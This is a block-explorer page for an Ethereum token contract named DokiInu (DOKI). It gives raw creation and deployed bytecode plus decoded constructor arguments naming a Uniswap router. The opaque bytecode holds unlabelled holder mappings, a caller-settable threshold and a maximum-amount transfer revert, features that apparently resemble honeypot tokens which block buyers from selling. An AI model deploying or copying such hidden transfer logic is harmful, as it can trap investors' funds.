99190612182565b925050819055506111ea838561184a565b5050611738565b5b600154831180156112515750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112ab5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138d576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113415782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611386565b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050611738565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561141c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114285750600082115b80156114415750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114f957600154600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156116225760045460648487611551919061237a565b61155b91906121d8565b61156591906121d8565b9250828561157391906123d4565b945082600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115c491906123d4565b9250508190555082600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461161a9190612182565b925050819055505b84600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167191906123d4565b9250508190555084600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c79190612182565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161172b91906120b8565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261181891906121d8565b90506000479050611829823061184a565b6000814761183791906123d4565b9050611844838230611aaa565b50505050565b6000600267ffffffffffffffff811115611867576118666125c6565b5b6040519080825280602002602001820160405280156118955781602001602082028036833780820191505090505b50905030816000815181106118ad576118ac612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194f57600080fd5b505afa158015611963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119879190611c26565b8160018151811061199b5761199a612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611a539190612182565b6040518663ffffffff1660e01b8152600401611a739594939291906120d3565b600060405180830381600087803b158015611a8d57600080fd5b505af1158015611aa1573d6000803e3d6000fd5b50505050505050565b611ad730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611b2a9190612182565b6040518863ffffffff1660e01b8152600401611b4b96959493929190611f7f565b6060604051808303818588803b158015611b6457600080fd5b505af1158015611b78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d9190611d53565b505050505050565b600081359050611bb48161272e565b92915050565b600081519050611bc98161272e565b92915050565b600081359050611bde81612745565b92915050565b600081519050611bf381612745565b92915050565b600060208284031215611c0f57611c0e6125f5565b5b6000611c1d84828501611ba5565b91505092915050565b600060208284031215611c3c57611c3b6125f5565b5b6000611c4a84828501611bba565b91505092915050565b60008060408385031215611c6a57611c696125f5565b5b6000611c7885828601611ba5565b9250506020611c8985828601611ba5565b9150509250929050565b600080600060608486031215611cac57611cab6125f5565b5b6000611cba86828701611ba5565b9350506020611ccb86828701611ba5565b9250506040611cdc86828701611bcf565b9150509250925092565b60008060408385031215611cfd57611cfc6125f5565b5b6000611d0b85828601611ba5565b9250506020611d1c85828601611bcf565b9150509250929050565b600060208284031215611d3c57611d3b6125f5565b5b6000611d4a84828501611bcf565b91505092915050565b600080600060608486031215611d6c57611d6b6125f5565b5b6000611d7a86828701611be4565b9350506020611d8b86828701611be4565b9250506040611d9c86828701611be4565b9150509250925092565b6000611db28383611dbe565b60208301905092915050565b611dc781612408565b82525050565b611dd681612408565b82525050565b6000611de78261213d565b611df18185612160565b9350611dfc8361212d565b8060005b83811015611e2d578151611e148882611da6565b9750611e1f83612153565b925050600181019050611e00565b5085935050505092915050565b611e438161241a565b82525050565b611e528161245d565b82525050565b611e618161246f565b82525050565b6000611e7282612148565b611e7c8185612171565b9350611e8c8185602086016124a5565b611e95816125fa565b840191505092915050565b6000611ead602683612171565b9150611eb882612618565b604082019050919050565b6000611ed0602683612171565b9150611edb82612667565b604082019050919050565b6000611ef3602083612171565b9150611efe826126b6565b602082019050919050565b6000611f16602483612171565b9150611f21826126df565b604082019050919050565b611f3581612446565b82525050565b6000602082019050611f506000830184611dcd565b92915050565b6000604082019050611f6b6000830185611dcd565b611f786020830184611dcd565b9392505050565b600060c082019050611f946000830189611dcd565b611fa16020830188611f2c565b611fae6040830187611e58565b611fbb6060830186611e58565b611fc86080830185611dcd565b611fd560a0830184611f2c565b979650505050505050565b6000602082019050611ff56000830184611e3a565b92915050565b60006020820190506120106000830184611e49565b92915050565b600060208201905081810360008301526120308184611e67565b905092915050565b6000602082019050818103600083015261205181611ea0565b9050919050565b6000602082019050818103600083015261207181611ec3565b9050919050565b6000602082019050818103600083015261209181611ee6565b9050919050565b600060208201905081810360008301526120b181611f09565b9050919050565b60006020820190506120cd6000830184611f2c565b92915050565b600060a0820190506120e86000830188611f2c565b6120f56020830187611e58565b81810360408301526121078186611ddc565b90506121166060830185611dcd565b6121236080830184611f2c565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061218d82612446565b915061219883612446565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121cd576121cc61250a565b5b828201905092915050565b60006121e382612446565b91506121ee83612446565b9250826121fe576121fd612539565b5b828204905092915050565b6000808291508390505b60018511156122535780860481111561222f5761222e61250a565b5b600185161561223e5780820291505b808102905061224c8561260b565b9450612213565b94509492505050565b600061226782612446565b915061227283612450565b925061229f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122a7565b905092915050565b6000826122b75760019050612373565b816122c55760009050612373565b81600181146122db57600281146122e557612314565b6001915050612373565b60ff8411156122f7576122f661250a565b5b8360020a91508482111561230e5761230d61250a565b5b50612373565b5060208310610133831016604e8410600b84101617156123495782820a9050838111156123445761234361250a565b5b612373565b6123568484846001612209565b9250905081840481111561236d5761236c61250a565b5b81810290505b9392505050565b600061238582612446565b915061239083612446565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123c9576123c861250a565b5b828202905092915050565b60006123df82612446565b91506123ea83612446565b9250828210156123fd576123fc61250a565b5b828203905092915050565b600061241382612426565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061246882612481565b9050919050565b600061247a82612446565b9050919050565b600061248c82612493565b9050919050565b600061249e82612426565b9050919050565b60005b838110156124c35780820151818401526020810190506124a8565b838111156124d2576000848401525b50505050565b600060028204905060018216806124f057607f821691505b6020821081141561250457612503612568565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f5472616e7366657220616d6f756e742065786365656473206d6178696d756d2060008201527f616d6f756e740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61273781612408565b811461274257600080fd5b50565b61274e81612446565b811461275957600080fd5b5056fea2646970667358221220c9ff4e1b44dd825afa48585d572dbb1646b908736bead04eb0048b1c955c541964736f6c63430008070033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000007446f6b69496e75000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004444f4b4900000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b311461039e578063a9059cbb146103c9578063dd62ed3e14610406578063f2fde38b14610443578063f887ea401461046c5761011f565b806370a08231146102c9578063715018a6146103065780638da5cb5b1461031d57806395d89b41146103485780639a36f932146103735761011f565b806323b872dd116100e757806323b872dd146101e05780632b14ca561461021d578063313ce56714610248578063470624021461027357806349bd5a5e1461029e5761011f565b806306fdde0314610124578063095ea7b31461014f57806312514bba1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610497565b6040516101469190612016565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611ce6565b610529565b6040516101839190611fe0565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611d26565b61053e565b005b3480156101c157600080fd5b506101ca610592565b6040516101d791906120b8565b60405180910390f35b3480156101ec57600080fd5b5061020760048036038101906102029190611c93565b6105b6565b6040516102149190611fe0565b60405180910390f35b34801561022957600080fd5b5061023261065e565b60405161023f91906120b8565b60405180910390f35b34801561025457600080fd5b5061025d610664565b60405161026a91906120b8565b60405180910390f35b34801561027f57600080fd5b50610288610670565b60405161029591906120b8565b60405180910390f35b3480156102aa57600080fd5b506102b3610676565b6040516102c09190611f3b565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190611bf9565b61069c565b6040516102fd91906120b8565b60405180910390f35b34801561031257600080fd5b5061031b6106e5565b005b34801561032957600080fd5b5061033261076d565b60405161033f9190611f3b565b60405180910390f35b34801561035457600080fd5b5061035d610796565b60405161036a9190612016565b60405180910390f35b34801561037f57600080fd5b50610388610828565b60405161039591906120b8565b60405180910390f35b3480156103aa57600080fd5b506103b361082e565b6040516103c09190611f3b565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190611ce6565b6109fe565b6040516103fd9190611fe0565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190611c53565b610a15565b60405161043a91906120b8565b60405180910390f35b34801561044f57600080fd5b5061046a60048036038101906104659190611bf9565b610a9c565b005b34801561047857600080fd5b50610481610b94565b60405161048e9190611ffb565b60405180910390f35b6060600580546104a6906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906124d8565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b6000610536338484610bba565b905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600154101561058f57806007819055505b50565b60006009600a6105a2919061225c565b633b9aca006105b1919061237a565b905090565b60006105c3848484610d55565b610655843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065091906123d4565b610bba565b90509392505050565b60035481565b6000600960ff16905090565b60025481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed61173d565b73ffffffffffffffffffffffffffffffffffffffff1661070b61076d565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612078565b60405180910390fd5b61076b6000611745565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107a5906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546107d1906124d8565b801561081e5780601f106107f35761010080835404028352916020019161081e565b820191906000526020600020905b81548152906001019060200180831161080157829003601f168201915b5050505050905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089857600080fd5b505afa1580156108ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611c26565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095457600080fd5b505afa158015610968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098c9190611c26565b6040518363ffffffff1660e01b81526004016109a9929190611f56565b60206040518083038186803b1580156109c157600080fd5b505afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611c26565b905090565b6000610a0b338484610d55565b6001905092915050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aa461173d565b73ffffffffffffffffffffffffffffffffffffffff16610ac261076d565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612078565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612058565b60405180910390fd5b610b9181611745565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c255750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612098565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610d4291906120b8565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610dc05750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e1a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e6557506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610e7357506001548111155b15610f09576000600754600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec79190612182565b1015610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90612038565b60405180910390fd5b5b6000610f143061069c565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610f7557600254610f79565b6003545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561101b57610fda61082e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff168015611038575060015482115b80156110515750600860159054906101000a900460ff16155b80156110ab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110f4576001600860156101000a81548160ff0219169083151502179055506110d482611809565b6000600860156101000a81548160ff0219169083151502179055506111f2565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561118257506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156111f15782905080600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d99190612182565b925050819055506111ea838561184a565b5050611738565b5b600154831180156112515750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112ab5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138d576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113415782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611386565b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050611738565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561141c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114285750600082115b80156114415750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114f957600154600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156116225760045460648487611551919061237a565b61155b91906121d8565b61156591906121d8565b9250828561157391906123d4565b945082600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115c491906123d4565b9250508190555082600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461161a9190612182565b925050819055505b84600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167191906123d4565b9250508190555084600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c79190612182565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161172b91906120b8565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261181891906121d8565b90506000479050611829823061184a565b6000814761183791906123d4565b9050611844838230611aaa565b50505050565b6000600267ffffffffffffffff811115611867576118666125c6565b5b6040519080825280602002602001820160405280156118955781602001602082028036833780820191505090505b50905030816000815181106118ad576118ac612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194f57600080fd5b505afa158015611963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119879190611c26565b8160018151811061199b5761199a612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611a539190612182565b6040518663ffffffff1660e01b8152600401611a739594939291906120d3565b600060405180830381600087803b158015611a8d57600080fd5b505af1158015611aa1573d6000803e3d6000fd5b50505050505050565b611ad730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611b2a9190612182565b6040518863ffffffff1660e01b8152600401611b4b96959493929190611f7f565b6060604051808303818588803b158015611b6457600080fd5b505af1158015611b78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d9190611d53565b505050505050565b600081359050611bb48161272e565b92915050565b600081519050611bc98161272e565b92915050565b600081359050611bde81612745565b92915050565b600081519050611bf381612745565b92915050565b600060208284031215611c0f57611c0e6125f5565b5b6000611c1d84828501611ba5565b91505092915050565b600060208284031215611c3c57611c3b6125f5565b5b6000611c4a84828501611bba565b91505092915050565b60008060408385031215611c6a57611c696125f5565b5b6000611c7885828601611ba5565b9250506020611c8985828601611ba5565b9150509250929050565b600080600060608486031215611cac57611cab6125f5565b5b6000611cba86828701611ba5565b9350506020611ccb86828701611ba5565b9250506040611cdc86828701611bcf565b9150509250925092565b60008060408385031215611cfd57611cfc6125f5565b5b6000611d0b85828601611ba5565b9250506020611d1c85828601611bcf565b9150509250929050565b600060208284031215611d3c57611d3b6125f5565b5b6000611d4a84828501611bcf565b91505092915050565b600080600060608486031215611d6c57611d6b6125f5565b5b6000611d7a86828701611be4565b9350506020611d8b86828701611be4565b9250506040611d9c86828701611be4565b9150509250925092565b6000611db28383611dbe565b60208301905092915050565b611dc781612408565b82525050565b611dd681612408565b82525050565b6000611de78261213d565b611df18185612160565b9350611dfc8361212d565b8060005b83811015611e2d578151611e148882611da6565b9750611e1f83612153565b925050600181019050611e00565b5085935050505092915050565b611e438161241a565b82525050565b611e528161245d565b82525050565b611e618161246f565b82525050565b6000611e7282612148565b611e7c8185612171565b9350611e8c8185602086016124a5565b611e95816125fa565b840191505092915050565b6000611ead602683612171565b9150611eb882612618565b604082019050919050565b6000611ed0602683612171565b9150611edb82612667565b604082019050919050565b6000611ef3602083612171565b9150611efe826126b6565b602082019050919050565b6000611f16602483612171565b9150611f21826126df565b604082019050919050565b611f3581612446565b82525050565b6000602082019050611f506000830184611dcd565b92915050565b6000604082019050611f6b6000830185611dcd565b611f786020830184611dcd565b9392505050565b600060c082019050611f946000830189611dcd565b611fa16020830188611f2c565b611fae6040830187611e58565b611fbb6060830186611e58565b611fc86080830185611dcd565b611fd560a0830184611f2c565b979650505050505050565b6000602082019050611ff56000830184611e3a565b92915050565b60006020820190506120106000830184611e49565b92915050565b600060208201905081810360008301526120308184611e67565b905092915050565b6000602082019050818103600083015261205181611ea0565b9050919050565b6000602082019050818103600083015261207181611ec3565b9050919050565b6000602082019050818103600083015261209181611ee6565b9050919050565b600060208201905081810360008301526120b181611f09565b9050919050565b60006020820190506120cd6000830184611f2c565b92915050565b600060a0820190506120e86000830188611f2c565b6120f56020830187611e58565b81810360408301526121078186611ddc565b90506121166060830185611dcd565b6121236080830184611f2c565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061218d82612446565b915061219883612446565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121cd576121cc61250a565b5b828201905092915050565b60006121e382612446565b91506121ee83612446565b9250826121fe576121fd612539565b5b828204905092915050565b6000808291508390505b60018511156122535780860481111561222f5761222e61250a565b5b600185161561223e5780820291505b808102905061224c8561260b565b9450612213565b94509492505050565b600061226782612446565b915061227283612450565b925061229f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122a7565b905092915050565b6000826122b75760019050612373565b816122c55760009050612373565b81600181146122db57600281146122e557612314565b6001915050612373565b60ff8411156122f7576122f661250a565b5b8360020a91508482111561230e5761230d61250a565b5b50612373565b5060208310610133831016604e8410600b84101617156123495782820a9050838111156123445761234361250a565b5b612373565b6123568484846001612209565b9250905081840481111561236d5761236c61250a565b5b81810290505b9392505050565b600061238582612446565b915061239083612446565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123c9576123c861250a565b5b828202905092915050565b60006123df82612446565b91506123ea83612446565b9250828210156123fd576123fc61250a565b5b828203905092915050565b600061241382612426565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061246882612481565b9050919050565b600061247a82612446565b9050919050565b600061248c82612493565b9050919050565b600061249e82612426565b9050919050565b60005b838110156124c35780820151818401526020810190506124a8565b838111156124d2576000848401525b50505050565b600060028204905060018216806124f057607f821691505b6020821081141561250457612503612568565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f5472616e7366657220616d6f756e742065786365656473206d6178696d756d2060008201527f616d6f756e740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61273781612408565b811461274257600080fd5b50565b61274e81612446565b811461275957600080fd5b5056fea2646970667358221220c9ff4e1b44dd825afa48585d572dbb1646b908736bead04eb0048b1c955c541964736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000007446f6b69496e75000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004444f4b4900000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): DokiInu
Arg [1] : Symbol (string): DOKI
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [4] : 446f6b69496e7500000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 444f4b4900000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

